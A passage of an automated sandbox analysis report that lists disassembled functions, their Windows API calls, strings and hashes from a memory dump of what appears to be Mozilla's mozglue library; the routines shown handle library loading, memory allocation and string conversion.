Instruction ID: 0ac2ddd907ca895738686994e4bbb0b9dbe59f323118e3fff43de7bcabe9210d
Opcode Fuzzy Hash: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction Fuzzy Hash: AF41A2306097119FE720DF69D884AAAB7F4AF55318F501E1CF59193690EB30E989CB92

Function 6C9B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9B7526
__Init_thread_footer.LIBCMT ref: 6C9B7566
__Init_thread_footer.LIBCMT ref: 6C9B7597

Strings

UnmapViewOfFile2, xrefs: 6C9B7552
kernel32.dll, xrefs: 6C9B7557

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction ID: 1df685725a88da7efbf8f0a152a9759a783a643af78f7bd8d018545e3b842531
Opcode Fuzzy Hash: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction Fuzzy Hash: C5210631705901B7CB148BE88815EDA73B6EB97B29B158629D40177B80CB31FA4585B1

Function 6C9BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DF770,-00000001,?,6C9CE330,?,6C97BDF7), ref: 6C9BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C97BDF7), ref: 6C9BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C97BDF7), ref: 6C9BA7E4
LeaveCriticalSection.KERNEL32(6C9DF770), ref: 6C9BA80A

Strings

accelerator.dll, xrefs: 6C9BA7BF

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction ID: da276d4acd9729df64fabebca267984064de832ef571fb0321f01453ca5f3ecf
Opcode Fuzzy Hash: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction Fuzzy Hash: 38018FB0608604AFDB04DF55D8C5C5277B8FB89B59715806AE809EB741DB70E800CBA1

Function 6C95F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C95EE51,?), ref: 6C95F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C95F0C2

Strings

ole32, xrefs: 6C95F0AD
Could not find CoTaskMemFree, xrefs: 6C95F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C95F0DC

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction ID: 6819c9be832eed6dc8d85ec8aa52ad2e586d394a04d03ddbb0110f4c2f98bedb
Opcode Fuzzy Hash: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction Fuzzy Hash: 79E0D872348B06DBEF049B72980962737BC5B6322D368C429F602F2E40EE21F020C661

Function 6C990080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967204), ref: 6C990088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9900A7
FreeLibrary.KERNEL32(?,6C967204), ref: 6C9900BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9900A1
wintrust.dll, xrefs: 6C990083

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction ID: d20e3e39dbff9f72cfa1bae2feb4fb00dd4a293afe26231eb3821f57ad67d7e0
Opcode Fuzzy Hash: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction Fuzzy Hash: BEE09A78648B45ABDF00AF6598097017AF8AB0B749F288465A926E2650DB74F0C0DF62

Function 6C9900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967235), ref: 6C9900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9900F7
FreeLibrary.KERNEL32(?,6C967235), ref: 6C99010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9900F1
wintrust.dll, xrefs: 6C9900D3

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction ID: a18ac8204e8f5146c85344b5b34ff8ae283b667bb3cd655677d721eba4ac65be
Opcode Fuzzy Hash: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction Fuzzy Hash: 9DE04F7024DB069BEF005F65C90A7213AFCA707249F349065AA5BB2700DB70F1D0CB62

Function 6C9BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9BC0E9), ref: 6C9BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9BC437
FreeLibrary.KERNEL32(?,6C9BC0E9), ref: 6C9BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9BC431
ntdll.dll, xrefs: 6C9BC413

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction ID: 26514dfef8388c21d50cdb00729a29e21d8465bd9fc3025292338e675392cd70
Opcode Fuzzy Hash: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction Fuzzy Hash: B2E0B678609B02ABDF00BF71C9197127BF8A74664DF244556AA06B2750EBB0F1C0CBA2

Function 6C9B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B748B,?), ref: 6C9B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9B75D7
FreeLibrary.KERNEL32(?,6C9B748B,?), ref: 6C9B75EC

Strings

ntdll.dll, xrefs: 6C9B75B3
RtlNtStatusToDosError, xrefs: 6C9B75D1

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction ID: 40df59ded1a13b81030f65468bd256df80f8dbf679591a478ff7ba88c2647446
Opcode Fuzzy Hash: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction Fuzzy Hash: 10E0BF71608B02BBDF005FE1C9497827AF8E74665DF309525A915F6640DBB0F2C5CF60

Function 6C9B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B7592), ref: 6C9B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9B7627
FreeLibrary.KERNEL32(?,6C9B7592), ref: 6C9B763C

Strings

ntdll.dll, xrefs: 6C9B7603
NtUnmapViewOfSection, xrefs: 6C9B7621

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction ID: 08fa2da5de14ba76223e689c1432a0da4e80ddd1b354ecd020877e9e2c025a77
Opcode Fuzzy Hash: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction Fuzzy Hash: EEE0BF70609F42ABDF005FE5D8097467AB8E75679DF208519E905F2740EB70F0848F65

Function 6C9BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9BBE49), ref: 6C9BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9BBE49), ref: 6C9BBF38
RtlReAllocateHeap.NTDLL ref: 6C9BBF83
RtlFreeHeap.NTDLL ref: 6C9BBFA6

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction ID: d2fb92434c0f73e8a4868eef144d7f2d3d94a70513ed11d55859f9e572d3dbfc
Opcode Fuzzy Hash: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction Fuzzy Hash: CA51AC71A002029FE710DF69CCC0BABB7B6FF98314F284629D515A7B94D730F9168B81

Function 6C9A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8EBF
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8F46
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F8F

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction ID: e012b4b48f6f09e852f1ae7b25b2bc6b4bff92b210284a541196042c4a149aac
Opcode Fuzzy Hash: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction Fuzzy Hash: D351C2B1A012568FEB18CF94D88076EB7B6FF48308F25052AD916AB740E731F916CBD5

Function 6C9660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966180
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966229
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C96625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966271

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction ID: 277197432b3d2e20d07a38f459979d41e6299bfee315dc1d55d38f0b1b2d5919
Opcode Fuzzy Hash: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction Fuzzy Hash: 48518AB1A042068FFB14CFA9D8807AEB7B5EF45308F210539C616E7B91E731EA58CB51

Function 6C9A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A289A
free.MOZGLUE(?,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A2910
free.MOZGLUE(00000001,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A294E

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction ID: 3b03178faf194123a2c98558c508a7d653ffab896ad1c099d497d1e6d20be9f3
Opcode Fuzzy Hash: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction Fuzzy Hash: 494115B1A04A068FEB14CFA9D98436A73F5EF85708F240539D95AEB740E731E905CB51

Function 6C95CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C95D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C95D139

Strings

MOZ_CRASH(), xrefs: 6C95D187

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction ID: 778ac0424efc2c184f9cf4d152fd8beb73a8cb29c4d2ddf13372aeb212a43488
Opcode Fuzzy Hash: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction Fuzzy Hash: 6A41D132B05A168FDB48CE7C8D9036AB6B4EB49B14F650139E918F7784D7A1AD808BD1

Function 6C954DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C954EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C954F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C954F1E

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction ID: b1df8f9db74fa726fa3717e1108051fe95a492a82b2905c21d5392e83629f895
Opcode Fuzzy Hash: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction Fuzzy Hash: 7641DE716087019FC745CF29C88095BBBE8BF99344F508A2DF86697B41DB31E978CB92

Function 6C961530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C96159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615E7
free.MOZGLUE(?,?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961637

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction ID: 4bae577ba2892f03bb6f1278af77a25595c102d96fd1185dc0671bae05ec1676
Opcode Fuzzy Hash: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction Fuzzy Hash: 0231E872A001159BEB188E7DD85147EB7A9FB923647280B2DE423DBFD4EB30D9148792

Function 6C9BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAD9D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE3D

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction ID: 5fe8a1f7c2f34ded7ed99f90654e1aab18f07058040ac8ae15c4fa3918aafc08
Opcode Fuzzy Hash: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction Fuzzy Hash: 5F3178B1A003159FDB10DF798C44AABBBF8EF54614F15442DE84AE7700EB34E804C7A1

Function 6C9B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

